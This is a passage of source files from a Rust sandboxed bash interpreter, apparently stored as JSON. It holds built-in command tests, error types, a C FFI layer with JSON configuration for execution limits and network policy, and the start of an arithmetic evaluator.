Sha256sumCommand.execute(&[], &c);\n        assert!(\n            r.stdout\n                .starts_with(\"2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824\")\n        );\n    }\n\n    #[test]\n    fn sha256sum_file() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = Sha256sumCommand.execute(&[\"hello.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"hello.txt\"));\n    }\n\n    // ── whoami tests ─────────────────────────────────────────────────\n\n    #[test]\n    fn whoami_from_env() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = WhoamiCommand.execute(&[], &c);\n        assert_eq!(r.stdout, \"testuser\\n\");\n    }\n\n    #[test]\n    fn whoami_default_root() {\n        let (fs, _env, limits, np) = setup();\n        let empty_env = HashMap::new();\n        let c = ctx(&*fs, &empty_env, &limits, &np);\n        let r = WhoamiCommand.execute(&[], &c);\n        assert_eq!(r.stdout, \"root\\n\");\n    }\n\n    // ── hostname tests ───────────────────────────────────────────────\n\n    #[test]\n    fn hostname_from_env() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = HostnameCommand.execute(&[], &c);\n        assert_eq!(r.stdout, \"myhost\\n\");\n    }\n\n    #[test]\n    fn hostname_default() {\n        let (fs, _env, limits, np) = setup();\n        let empty_env = HashMap::new();\n        let c = ctx(&*fs, &empty_env, &limits, &np);\n        let r = HostnameCommand.execute(&[], &c);\n        assert_eq!(r.stdout, \"localhost\\n\");\n    }\n\n    // ── uname tests ──────────────────────────────────────────────────\n\n    #[test]\n    fn uname_default() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = UnameCommand.execute(&[], &c);\n        assert_eq!(r.stdout, \"Linux\\n\");\n    }\n\n    #[test]\n    fn uname_all() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = UnameCommand.execute(&[\"-a\".into()], &c);\n        assert!(r.stdout.contains(\"Linux\"));\n        assert!(r.stdout.contains(\"rust-bash\"));\n        assert!(r.stdout.contains(\"x86_64\"));\n    }\n\n    #[test]\n    fn uname_machine() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = UnameCommand.execute(&[\"-m\".into()], &c);\n        assert_eq!(r.stdout, \"x86_64\\n\");\n    }\n\n    // ── yes tests ────────────────────────────────────────────────────\n\n    #[test]\n    fn yes_default() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = YesCommand.execute(&[], &c);\n        let lines: Vec<&str> = r.stdout.lines().collect();\n        assert_eq!(lines.len(), 10_000);\n        assert!(lines.iter().all(|l| *l == \"y\"));\n    }\n\n    #[test]\n    fn yes_custom_string() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = YesCommand.execute(&[\"hello\".into()], &c);\n        let lines: Vec<&str> = r.stdout.lines().collect();\n        assert_eq!(lines.len(), 10_000);\n        assert!(lines.iter().all(|l| *l == \"hello\"));\n    }\n}\n","/home/user/src/error.rs":"use std::fmt;\nuse std::path::PathBuf;\n\n/// Errors arising from virtual filesystem operations.\n#[derive(Debug, Clone, PartialEq, Eq)]\npub enum VfsError {\n    NotFound(PathBuf),\n    AlreadyExists(PathBuf),\n    NotADirectory(PathBuf),\n    NotAFile(PathBuf),\n    IsADirectory(PathBuf),\n    PermissionDenied(PathBuf),\n    DirectoryNotEmpty(PathBuf),\n    SymlinkLoop(PathBuf),\n    InvalidPath(String),\n    IoError(String),\n}\n\nimpl fmt::Display for VfsError {\n    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {\n        match self {\n            VfsError::NotFound(p) => write!(f, \"No such file or directory: {}\", p.display()),\n            VfsError::AlreadyExists(p) => write!(f, \"Already exists: {}\", p.display()),\n            VfsError::NotADirectory(p) => write!(f, \"Not a directory: {}\", p.display()),\n            VfsError::NotAFile(p) => write!(f, \"Not a file: {}\", p.display()),\n            VfsError::IsADirectory(p) => write!(f, \"Is a directory: {}\", p.display()),\n            VfsError::PermissionDenied(p) => write!(f, \"Permission denied: {}\", p.display()),\n            VfsError::DirectoryNotEmpty(p) => write!(f, \"Directory not empty: {}\", p.display()),\n            VfsError::SymlinkLoop(p) => {\n                write!(f, \"Too many levels of symbolic links: {}\", p.display())\n            }\n            VfsError::InvalidPath(msg) => write!(f, \"Invalid path: {msg}\"),\n            VfsError::IoError(msg) => write!(f, \"I/O error: {msg}\"),\n        }\n    }\n}\n\nimpl std::error::Error for VfsError {}\n\n/// Top-level error type for the rust-bash interpreter.\n#[derive(Debug)]\npub enum RustBashError {\n    Parse(String),\n    Execution(String),\n    /// An expansion-time error that aborts the current command and sets the\n    /// exit code.  When `should_exit` is true the *script* also terminates\n    /// (used by `${var:?msg}`).  When false, only the current command is\n    /// aborted (used for e.g. negative substring length).\n    ExpansionError {\n        message: String,\n        exit_code: i32,\n        should_exit: bool,\n    },\n    /// A failglob error: no glob matches found when `shopt -s failglob` is on.\n    /// Aborts the current simple command (exit code 1) but does NOT exit the script.\n    FailGlob {\n        pattern: String,\n    },\n    /// A redirect failure (e.g. nonexistent input file, empty filename).\n    /// Aborts the current command with exit code 1, reports error on stderr,\n    /// but does NOT exit the script.\n    RedirectFailed(String),\n    LimitExceeded {\n        limit_name: &'static str,\n        limit_value: usize,\n        actual_value: usize,\n    },\n    Network(String),\n    Vfs(VfsError),\n    Timeout,\n}\n\nimpl fmt::Display for RustBashError {\n    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {\n        match self {\n            RustBashError::Parse(msg) => write!(f, \"parse error: {msg}\"),\n            RustBashError::Execution(msg) => write!(f, \"execution error: {msg}\"),\n            RustBashError::ExpansionError { message, .. } => {\n                write!(f, \"expansion error: {message}\")\n            }\n            RustBashError::FailGlob { pattern } => {\n                write!(f, \"no match: {pattern}\")\n            }\n            RustBashError::RedirectFailed(msg) => write!(f, \"rust-bash: {msg}\"),\n            RustBashError::LimitExceeded {\n                limit_name,\n                limit_value,\n                actual_value,\n            } => write!(\n                f,\n                \"limit exceeded: {limit_name} ({actual_value}) exceeded limit ({limit_value})\"\n            ),\n            RustBashError::Network(msg) => write!(f, \"network error: {msg}\"),\n            RustBashError::Vfs(e) => write!(f, \"vfs error: {e}\"),\n            RustBashError::Timeout => write!(f, \"execution timed out\"),\n        }\n    }\n}\n\nimpl std::error::Error for RustBashError {\n    fn source(&self) -> Option<&(dyn std::error::Error + 'static)> {\n        match self {\n            RustBashError::Vfs(e) => Some(e),\n            _ => None,\n        }\n    }\n}\n\nimpl From<VfsError> for RustBashError {\n    fn from(e: VfsError) -> Self {\n        RustBashError::Vfs(e)\n    }\n}\n","/home/user/src/ffi.rs":"//! FFI surface for embedding rust-bash from C, Python, Go, or any language with C interop.\n//!\n//! This module provides JSON-based configuration deserialization that maps onto the\n//! [`RustBashBuilder`] API. The JSON config schema allows callers to specify files,\n//! environment variables, working directory, execution limits, and network policy.\n//!\n//! # Memory Ownership Rules\n//!\n//! - [`rust_bash_create`] returns a heap-allocated `RustBash*` that the caller owns.\n//!   Free it with [`rust_bash_free`].\n//! - [`rust_bash_exec`] returns a heap-allocated `CExecResult*` that the caller owns.\n//!   Free it with [`rust_bash_result_free`].\n//! - [`rust_bash_version`] returns a pointer to a static string. The caller must **not** free it.\n//! - [`rust_bash_last_error`] returns a pointer into thread-local storage. The pointer is\n//!   valid only until the next FFI call on the same thread. The caller must **not** free it.\n//!\n//! # Thread Safety\n//!\n//! A `RustBash*` handle must not be shared across threads without external synchronization.\n//! Each handle is independently owned; different handles may be used concurrently from\n//! different threads. The last-error storage is thread-local, so error messages are\n//! per-thread.\n//!\n//! # JSON Config Schema\n//!\n//! ```json\n//! {\n//!   \"files\": {\n//!     \"/data.txt\": \"file content\",\n//!     \"/config.json\": \"{}\"\n//!   },\n//!   \"env\": {\n//!     \"USER\": \"agent\",\n//!     \"HOME\": \"/home/agent\"\n//!   },\n//!   \"cwd\": \"/\",\n//!   \"limits\": {\n//!     \"max_command_count\": 10000,\n//!     \"max_execution_time_secs\": 30,\n//!     \"max_loop_iterations\": 10000,\n//!     \"max_output_size\": 10485760,\n//!     \"max_call_depth\": 25,\n//!     \"max_string_length\": 10485760,\n//!     \"max_glob_results\": 100000,\n//!     \"max_substitution_depth\": 50,\n//!     \"max_heredoc_size\": 10485760,\n//!     \"max_brace_expansion\": 10000\n//!   },\n//!   \"network\": {\n//!     \"enabled\": true,\n//!     \"allowed_url_prefixes\": [\"https://api.example.com/\"],\n//!     \"allowed_methods\": [\"GET\", \"POST\"],\n//!     \"max_response_size\": 10485760,\n//!     \"max_redirects\": 5,\n//!     \"timeout_secs\": 30\n//!   }\n//! }\n//! ```\n//!\n//! All fields are optional. An empty `{}` produces a default-configured sandbox.\n\nuse serde::Deserialize;\nuse std::cell::RefCell;\nuse std::collections::{HashMap, HashSet};\nuse std::ffi::{CStr, CString, c_char};\nuse std::time::Duration;\n\nuse crate::api::{RustBash, RustBashBuilder};\nuse crate::interpreter::ExecutionLimits;\nuse crate::network::NetworkPolicy;\n\n// ---------------------------------------------------------------------------\n// Thread-local error storage\n// ---------------------------------------------------------------------------\n\nthread_local! {\n    static LAST_ERROR: RefCell<Option<CString>> = const { RefCell::new(None) };\n}\n\nfn set_last_error(msg: String) {\n    LAST_ERROR.with(|cell| {\n        *cell.borrow_mut() = CString::new(msg.replace('\\0', \"\\\\0\")).ok();\n    });\n}\n\nfn clear_last_error() {\n    LAST_ERROR.with(|cell| {\n        *cell.borrow_mut() = None;\n    });\n}\n\n// ---------------------------------------------------------------------------\n// CExecResult — C-compatible execution result\n// ---------------------------------------------------------------------------\n\n/// Result of executing a command via [`rust_bash_exec`].\n///\n/// The `stdout_ptr`/`stderr_ptr` fields point to heap-allocated byte buffers whose\n/// lengths are given by `stdout_len`/`stderr_len`. The caller must free the entire\n/// result (including these buffers) by passing it to [`rust_bash_result_free`].\n#[repr(C)]\npub struct CExecResult {\n    pub stdout_ptr: *const c_char,\n    pub stdout_len: i32,\n    pub stderr_ptr: *const c_char,\n    pub stderr_len: i32,\n    pub exit_code: i32,\n}\n\n// ---------------------------------------------------------------------------\n// FFI entry points\n// ---------------------------------------------------------------------------\n\n/// Create a new sandboxed shell instance.\n///\n/// If `config_json` is `NULL`, a default configuration is used. Otherwise it must\n/// point to a valid null-terminated UTF-8 JSON string conforming to the schema\n/// documented in the [module-level docs](self).\n///\n/// Returns a heap-allocated `RustBash*` on success, or `NULL` on error. On error\n/// the reason is retrievable via [`rust_bash_last_error`].\n///\n/// # Safety\n///\n/// - `config_json`, if non-null, must point to a valid null-terminated C string.\n/// - The returned pointer must eventually be passed to [`rust_bash_free`].\n#[unsafe(no_mangle)]\npub unsafe extern \"C\" fn rust_bash_create(config_json: *const c_char) -> *mut RustBash {\n    let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {\n        clear_last_error();\n\n        let config: FfiConfig = if config_json.is_null() {\n            FfiConfig::default()\n        } else {\n            let c_str = unsafe { CStr::from_ptr(config_json) };\n            let json_str = match c_str.to_str() {\n                Ok(s) => s,\n                Err(e) => {\n                    set_last_error(format!(\"Invalid UTF-8 in config_json: {e}\"));\n                    return std::ptr::null_mut();\n                }\n            };\n            match serde_json::from_str(json_str) {\n                Ok(c) => c,\n                Err(e) => {\n                    set_last_error(format!(\"JSON parse error: {e}\"));\n                    return std::ptr::null_mut();\n                }\n            }\n        };\n\n        match config.into_rust_bash() {\n            Ok(shell) => Box::into_raw(Box::new(shell)),\n            Err(e) => {\n                set_last_error(format!(\"Failed to create sandbox: {e}\"));\n                std::ptr::null_mut()\n            }\n        }\n    }));\n\n    match result {\n        Ok(ptr) => ptr,\n        Err(_) => {\n            set_last_error(\"rust_bash_create panicked\".to_string());\n            std::ptr::null_mut()\n        }\n    }\n}\n\n/// Execute a shell command string in an existing sandbox.\n///\n/// Returns a heap-allocated [`ExecResult`](CExecResult) on success, or `NULL` on error.\n/// On error the reason is retrievable via [`rust_bash_last_error`].\n///\n/// # Safety\n///\n/// - `sb` must be a non-null pointer previously returned by [`rust_bash_create`]\n///   and not yet freed.\n/// - `command` must be a non-null pointer to a valid null-terminated C string.\n/// - The returned `ExecResult*` must eventually be passed to [`rust_bash_result_free`].\n#[unsafe(no_mangle)]\npub unsafe extern \"C\" fn rust_bash_exec(\n    sb: *mut RustBash,\n    command: *const c_char,\n) -> *mut CExecResult {\n    let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {\n        clear_last_error();\n\n        if sb.is_null() {\n            set_last_error(\"Null sandbox pointer\".to_string());\n            return std::ptr::null_mut();\n        }\n        if command.is_null() {\n            set_last_error(\"Null command pointer\".to_string());\n            return std::ptr::null_mut();\n        }\n\n        let cmd_str = match unsafe { CStr::from_ptr(command) }.to_str() {\n            Ok(s) => s,\n            Err(e) => {\n                set_last_error(format!(\"Invalid UTF-8 in command: {e}\"));\n                return std::ptr::null_mut();\n            }\n        };\n\n        let shell = unsafe { &mut *sb };\n        match shell.exec(cmd_str) {\n            Ok(exec_result) => {\n                let stdout_bytes: Vec<u8> = exec_result.stdout.into_bytes();\n                let stdout_len: i32 = match stdout_bytes.len().try_into() {\n                    Ok(n) => n,\n                    Err(_) => {\n                        set_last_error(\"stdout exceeds i32::MAX bytes\".to_string());\n                        return std::ptr::null_mut();\n                    }\n                };\n                let stdout_boxed: Box<[u8]> = stdout_bytes.into_boxed_slice();\n                let stdout_fat: *mut [u8] = Box::into_raw(stdout_boxed);\n                let stdout_ptr: *const c_char = stdout_fat as *mut u8 as *const c_char;\n\n                let stderr_bytes: Vec<u8> = exec_result.stderr.into_bytes();\n                let stderr_len: i32 = match stderr_bytes.len().try_into() {\n                    Ok(n) => n,\n                    Err(_) => {\n                        // Reclaim already-leaked stdout before returning\n                        let fat = std::ptr::slice_from_raw_parts_mut(\n                            stdout_ptr as *mut u8,\n                            stdout_len as usize,\n                        );\n                        drop(unsafe { Box::from_raw(fat) });\n                        set_last_error(\"stderr exceeds i32::MAX bytes\".to_string());\n                        return std::ptr::null_mut();\n                    }\n                };\n                let stderr_boxed: Box<[u8]> = stderr_bytes.into_boxed_slice();\n                let stderr_fat: *mut [u8] = Box::into_raw(stderr_boxed);\n                let stderr_ptr: *const c_char = stderr_fat as *mut u8 as *const c_char;\n\n                let c_result = CExecResult {\n                    stdout_ptr,\n                    stdout_len,\n                    stderr_ptr,\n                    stderr_len,\n                    exit_code: exec_result.exit_code,\n                };\n                Box::into_raw(Box::new(c_result))\n            }\n            Err(e) => {\n                set_last_error(e.to_string());\n                std::ptr::null_mut()\n            }\n        }\n    }));\n\n    match result {\n        Ok(ptr) => ptr,\n        Err(_) => {\n            set_last_error(\"rust_bash_exec panicked\".to_string());\n            std::ptr::null_mut()\n        }\n    }\n}\n\n/// Free an [`ExecResult`](CExecResult) previously returned by [`rust_bash_exec`].\n///\n/// If `result` is `NULL` this is a no-op.\n///\n/// # Safety\n///\n/// - `result` must be `NULL` or a pointer previously returned by [`rust_bash_exec`]\n///   that has not yet been freed.\n/// - After this call the pointer is invalid and must not be dereferenced.\n#[unsafe(no_mangle)]\npub unsafe extern \"C\" fn rust_bash_result_free(result: *mut CExecResult) {\n    let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {\n        if result.is_null() {\n            return;\n        }\n        let res = unsafe { Box::from_raw(result) };\n\n        if !res.stdout_ptr.is_null() && res.stdout_len >= 0 {\n            let fat = std::ptr::slice_from_raw_parts_mut(\n                res.stdout_ptr as *mut u8,\n                res.stdout_len as usize,\n            );\n            drop(unsafe { Box::from_raw(fat) });\n        }\n\n        if !res.stderr_ptr.is_null() && res.stderr_len >= 0 {\n            let fat = std::ptr::slice_from_raw_parts_mut(\n                res.stderr_ptr as *mut u8,\n                res.stderr_len as usize,\n            );\n            drop(unsafe { Box::from_raw(fat) });\n        }\n    }));\n}\n\n/// Free a `RustBash*` handle previously returned by [`rust_bash_create`].\n///\n/// If `sb` is `NULL` this is a no-op.\n///\n/// # Safety\n///\n/// - `sb` must be `NULL` or a pointer previously returned by [`rust_bash_create`]\n///   that has not yet been freed.\n/// - After this call the pointer is invalid and must not be dereferenced.\n#[unsafe(no_mangle)]\npub unsafe extern \"C\" fn rust_bash_free(sb: *mut RustBash) {\n    let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {\n        if !sb.is_null() {\n            drop(unsafe { Box::from_raw(sb) });\n        }\n    }));\n}\n\n/// Return the library version as a static null-terminated string.\n///\n/// The returned pointer is valid for the lifetime of the loaded library and must\n/// **not** be freed by the caller.\n///\n/// # Safety\n///\n/// The returned pointer points to static read-only memory.\n#[unsafe(no_mangle)]\npub extern \"C\" fn rust_bash_version() -> *const c_char {\n    concat!(env!(\"CARGO_PKG_VERSION\"), \"\\0\").as_ptr() as *const c_char\n}\n\n/// Retrieve the last error message for the current thread.\n///\n/// Returns `NULL` if no error is stored (i.e. the last FFI call succeeded).\n/// The returned pointer is valid only until the next FFI call on the same thread.\n/// The caller must **not** free the returned pointer.\n///\n/// # Safety\n///\n/// The returned pointer (if non-null) points to thread-local storage and is\n/// invalidated by the next FFI call on the same thread.\n#[unsafe(no_mangle)]\npub extern \"C\" fn rust_bash_last_error() -> *const c_char {\n    let result = std::panic::catch_unwind(|| {\n        LAST_ERROR.with(|cell| {\n            cell.borrow()\n                .as_ref()\n                .map_or(std::ptr::null(), |cs| cs.as_ptr())\n        })\n    });\n    result.unwrap_or(std::ptr::null())\n}\n\n/// JSON-deserializable configuration for creating a [`RustBash`] sandbox.\n#[derive(Deserialize, Default)]\npub struct FfiConfig {\n    #[serde(default)]\n    pub files: HashMap<String, String>,\n    #[serde(default)]\n    pub env: HashMap<String, String>,\n    pub cwd: Option<String>,\n    pub limits: Option<FfiLimits>,\n    pub network: Option<FfiNetwork>,\n}\n\n/// Execution-limit overrides. Unset fields inherit from [`ExecutionLimits::default()`].\n#[derive(Deserialize, Default)]\npub struct FfiLimits {\n    pub max_command_count: Option<usize>,\n    pub max_execution_time_secs: Option<u64>,\n    pub max_loop_iterations: Option<usize>,\n    pub max_output_size: Option<usize>,\n    pub max_call_depth: Option<usize>,\n    pub max_string_length: Option<usize>,\n    pub max_glob_results: Option<usize>,\n    pub max_substitution_depth: Option<usize>,\n    pub max_heredoc_size: Option<usize>,\n    pub max_brace_expansion: Option<usize>,\n    pub max_array_elements: Option<usize>,\n}\n\n/// Network-policy overrides. Unset fields inherit from [`NetworkPolicy::default()`].\n#[derive(Deserialize, Default)]\npub struct FfiNetwork {\n    pub enabled: Option<bool>,\n    pub allowed_url_prefixes: Option<Vec<String>>,\n    pub allowed_methods: Option<Vec<String>>,\n    pub max_response_size: Option<usize>,\n    pub max_redirects: Option<usize>,\n    pub timeout_secs: Option<u64>,\n}\n\nimpl FfiLimits {\n    /// Convert into [`ExecutionLimits`], filling unset fields with defaults.\n    pub fn into_execution_limits(self) -> ExecutionLimits {\n        let defaults = ExecutionLimits::default();\n        ExecutionLimits {\n            max_command_count: self.max_command_count.unwrap_or(defaults.max_command_count),\n            max_execution_time: self\n                .max_execution_time_secs\n                .map_or(defaults.max_execution_time, Duration::from_secs),\n            max_loop_iterations: self\n                .max_loop_iterations\n                .unwrap_or(defaults.max_loop_iterations),\n            max_output_size: self.max_output_size.unwrap_or(defaults.max_output_size),\n            max_call_depth: self.max_call_depth.unwrap_or(defaults.max_call_depth),\n            max_string_length: self.max_string_length.unwrap_or(defaults.max_string_length),\n            max_glob_results: self.max_glob_results.unwrap_or(defaults.max_glob_results),\n            max_substitution_depth: self\n                .max_substitution_depth\n                .unwrap_or(defaults.max_substitution_depth),\n            max_heredoc_size: self.max_heredoc_size.unwrap_or(defaults.max_heredoc_size),\n            max_brace_expansion: self\n                .max_brace_expansion\n                .unwrap_or(defaults.max_brace_expansion),\n            max_array_elements: self\n                .max_array_elements\n                .unwrap_or(defaults.max_array_elements),\n        }\n    }\n}\n\nimpl FfiNetwork {\n    /// Convert into [`NetworkPolicy`], filling unset fields with defaults.\n    pub fn into_network_policy(self) -> NetworkPolicy {\n        let defaults = NetworkPolicy::default();\n        NetworkPolicy {\n            enabled: self.enabled.unwrap_or(defaults.enabled),\n            allowed_url_prefixes: self\n                .allowed_url_prefixes\n                .unwrap_or(defaults.allowed_url_prefixes),\n            allowed_methods: self\n                .allowed_methods\n                .map(|v| v.into_iter().collect::<HashSet<String>>())\n                .unwrap_or(defaults.allowed_methods),\n            max_response_size: self.max_response_size.unwrap_or(defaults.max_response_size),\n            max_redirects: self.max_redirects.unwrap_or(defaults.max_redirects),\n            timeout: self\n                .timeout_secs\n                .map_or(defaults.timeout, Duration::from_secs),\n        }\n    }\n}\n\nimpl FfiConfig {\n    /// Build a [`RustBash`] sandbox from this configuration.\n    pub fn into_rust_bash(self) -> Result<RustBash, crate::error::RustBashError> {\n        let files: HashMap<String, Vec<u8>> = self\n            .files\n            .into_iter()\n            .map(|(path, content)| (path, content.into_bytes()))\n            .collect();\n\n        let mut builder = RustBashBuilder::new().files(files).env(self.env);\n\n        if let Some(cwd) = self.cwd {\n            builder = builder.cwd(cwd);\n        }\n\n        if let Some(limits) = self.limits {\n            builder = builder.execution_limits(limits.into_execution_limits());\n        }\n\n        if let Some(network) = self.network {\n            builder = builder.network_policy(network.into_network_policy());\n        }\n\n        builder.build()\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn empty_json_produces_default_config() {\n        let config: FfiConfig = serde_json::from_str(\"{}\").unwrap();\n        assert!(config.files.is_empty());\n        assert!(config.env.is_empty());\n        assert!(config.cwd.is_none());\n        assert!(config.limits.is_none());\n        assert!(config.network.is_none());\n    }\n\n    #[test]\n    fn full_config_deserializes_all_fields() {\n        let json = r#\"{\n            \"files\": { \"/data.txt\": \"hello\" },\n            \"env\": { \"USER\": \"agent\" },\n            \"cwd\": \"/home\",\n            \"limits\": {\n                \"max_command_count\": 500,\n                \"max_execution_time_secs\": 10,\n                \"max_loop_iterations\": 200,\n                \"max_output_size\": 4096,\n                \"max_call_depth\": 50,\n                \"max_string_length\": 2048,\n                \"max_glob_results\": 1000,\n                \"max_substitution_depth\": 20,\n                \"max_heredoc_size\": 8192,\n                \"max_brace_expansion\": 100\n            },\n            \"network\": {\n                \"enabled\": true,\n                \"allowed_url_prefixes\": [\"https://api.example.com/\"],\n                \"allowed_methods\": [\"GET\"],\n                \"max_response_size\": 1024,\n                \"max_redirects\": 3,\n                \"timeout_secs\": 15\n            }\n        }\"#;\n\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        assert_eq!(config.files.get(\"/data.txt\").unwrap(), \"hello\");\n        assert_eq!(config.env.get(\"USER\").unwrap(), \"agent\");\n        assert_eq!(config.cwd.as_deref(), Some(\"/home\"));\n\n        let limits = config.limits.unwrap().into_execution_limits();\n        assert_eq!(limits.max_command_count, 500);\n        assert_eq!(limits.max_execution_time, Duration::from_secs(10));\n        assert_eq!(limits.max_loop_iterations, 200);\n        assert_eq!(limits.max_output_size, 4096);\n        assert_eq!(limits.max_call_depth, 50);\n        assert_eq!(limits.max_string_length, 2048);\n        assert_eq!(limits.max_glob_results, 1000);\n        assert_eq!(limits.max_substitution_depth, 20);\n        assert_eq!(limits.max_heredoc_size, 8192);\n        assert_eq!(limits.max_brace_expansion, 100);\n\n        let network = config.network.unwrap().into_network_policy();\n        assert!(network.enabled);\n        assert_eq!(\n            network.allowed_url_prefixes,\n            vec![\"https://api.example.com/\"]\n        );\n        assert_eq!(network.allowed_methods, HashSet::from([\"GET\".to_string()]));\n        assert_eq!(network.max_response_size, 1024);\n        assert_eq!(network.max_redirects, 3);\n        assert_eq!(network.timeout, Duration::from_secs(15));\n    }\n\n    #[test]\n    fn partial_config_defaults_missing_fields() {\n        let json = r#\"{ \"files\": { \"/a.txt\": \"content\" } }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        assert_eq!(config.files.len(), 1);\n        assert!(config.env.is_empty());\n        assert!(config.cwd.is_none());\n        assert!(config.limits.is_none());\n        assert!(config.network.is_none());\n    }\n\n    #[test]\n    fn limits_with_partial_fields_defaults_the_rest() {\n        let json = r#\"{ \"limits\": { \"max_command_count\": 42 } }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        let limits = config.limits.unwrap().into_execution_limits();\n        assert_eq!(limits.max_command_count, 42);\n\n        let defaults = ExecutionLimits::default();\n        assert_eq!(limits.max_execution_time, defaults.max_execution_time);\n        assert_eq!(limits.max_loop_iterations, defaults.max_loop_iterations);\n        assert_eq!(limits.max_output_size, defaults.max_output_size);\n        assert_eq!(limits.max_call_depth, defaults.max_call_depth);\n        assert_eq!(limits.max_string_length, defaults.max_string_length);\n        assert_eq!(limits.max_glob_results, defaults.max_glob_results);\n        assert_eq!(\n            limits.max_substitution_depth,\n            defaults.max_substitution_depth\n        );\n        assert_eq!(limits.max_heredoc_size, defaults.max_heredoc_size);\n        assert_eq!(limits.max_brace_expansion, defaults.max_brace_expansion);\n    }\n\n    #[test]\n    fn network_config_maps_to_network_policy() {\n        let json = r#\"{\n            \"network\": {\n                \"enabled\": true,\n                \"allowed_url_prefixes\": [\"https://a.com/\", \"https://b.com/\"],\n                \"allowed_methods\": [\"GET\", \"POST\", \"PUT\"],\n                \"max_response_size\": 2048,\n                \"max_redirects\": 10,\n                \"timeout_secs\": 60\n            }\n        }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        let policy = config.network.unwrap().into_network_policy();\n\n        assert!(policy.enabled);\n        assert_eq!(policy.allowed_url_prefixes.len(), 2);\n        assert!(\n            policy\n                .allowed_url_prefixes\n                .contains(&\"https://a.com/\".to_string())\n        );\n        assert!(\n            policy\n                .allowed_url_prefixes\n                .contains(&\"https://b.com/\".to_string())\n        );\n        assert_eq!(policy.allowed_methods.len(), 3);\n        assert!(policy.allowed_methods.contains(\"GET\"));\n        assert!(policy.allowed_methods.contains(\"POST\"));\n        assert!(policy.allowed_methods.contains(\"PUT\"));\n        assert_eq!(policy.max_response_size, 2048);\n        assert_eq!(policy.max_redirects, 10);\n        assert_eq!(policy.timeout, Duration::from_secs(60));\n    }\n\n    #[test]\n    fn default_network_policy_when_no_fields_set() {\n        let json = r#\"{ \"network\": {} }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        let policy = config.network.unwrap().into_network_policy();\n        let defaults = NetworkPolicy::default();\n\n        assert_eq!(policy.enabled, defaults.enabled);\n        assert_eq!(policy.allowed_url_prefixes, defaults.allowed_url_prefixes);\n        assert_eq!(policy.allowed_methods, defaults.allowed_methods);\n        assert_eq!(policy.max_response_size, defaults.max_response_size);\n        assert_eq!(policy.max_redirects, defaults.max_redirects);\n        assert_eq!(policy.timeout, defaults.timeout);\n    }\n\n    #[test]\n    fn unknown_extra_fields_are_ignored() {\n        let json = r#\"{ \"files\": {}, \"extra_field\": 42, \"another\": \"value\" }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        assert!(config.files.is_empty());\n    }\n\n    #[test]\n    fn into_rust_bash_builds_with_empty_config() {\n        let config: FfiConfig = serde_json::from_str(\"{}\").unwrap();\n        let shell = config.into_rust_bash();\n        assert!(shell.is_ok());\n    }\n\n    #[test]\n    fn into_rust_bash_builds_with_full_config() {\n        let json = r#\"{\n            \"files\": { \"/hello.txt\": \"world\" },\n            \"env\": { \"FOO\": \"bar\" },\n            \"cwd\": \"/tmp\",\n            \"limits\": { \"max_command_count\": 100 },\n            \"network\": { \"enabled\": false }\n        }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        let mut shell = config.into_rust_bash().unwrap();\n        let result = shell.exec(\"cat /hello.txt\").unwrap();\n        assert_eq!(result.stdout, \"world\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn into_rust_bash_sets_cwd() {\n        let json = r#\"{ \"cwd\": \"/mydir\" }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        let mut shell = config.into_rust_bash().unwrap();\n        let result = shell.exec(\"pwd\").unwrap();\n        assert_eq!(result.stdout.trim(), \"/mydir\");\n    }\n\n    #[test]\n    fn into_rust_bash_sets_env() {\n        let json = r#\"{ \"env\": { \"GREETING\": \"hello\" } }\"#;\n        let config: FfiConfig = serde_json::from_str(json).unwrap();\n        let mut shell = config.into_rust_bash().unwrap();\n        let result = shell.exec(\"echo $GREETING\").unwrap();\n        assert_eq!(result.stdout.trim(), \"hello\");\n    }\n\n    #[test]\n    fn invalid_type_returns_deserialization_error() {\n        let json = r#\"{ \"limits\": { \"max_command_count\": \"not_a_number\" } }\"#;\n        let result = serde_json::from_str::<FfiConfig>(json);\n        assert!(result.is_err());\n    }\n}\n","/home/user/src/interpreter/arithmetic.rs":"//! Arithmetic expression evaluator for `$((...))`, `(( ))`, `let`, and\n//! C-style `for (( ; ; ))` loops.\n//!\n//! Implements a recursive-descent parser that handles all bash arithmetic\n//! operators with correct precedence.\n\nuse crate::error::RustBashError;\nuse crate::interpreter::{InterpreterState, set_variable};\n\n// ── Public API ──────────────────────────────────────────────────────\n\n/// Evaluate an arithmetic expression string, returning its i64 result.\n/// Variables are read from / written to `state.env`.\npub(crate) fn eval_arithmetic(\n    expr: &str,\n    state: &mut InterpreterState,\n) -> Result<i64, RustBashError> {\n    let tokens = tokenize(expr, state.shopt_opts.strict_arith)?;\n    if tokens.is_empty() {\n        return Ok(0);\n    }\n    let mut parser = 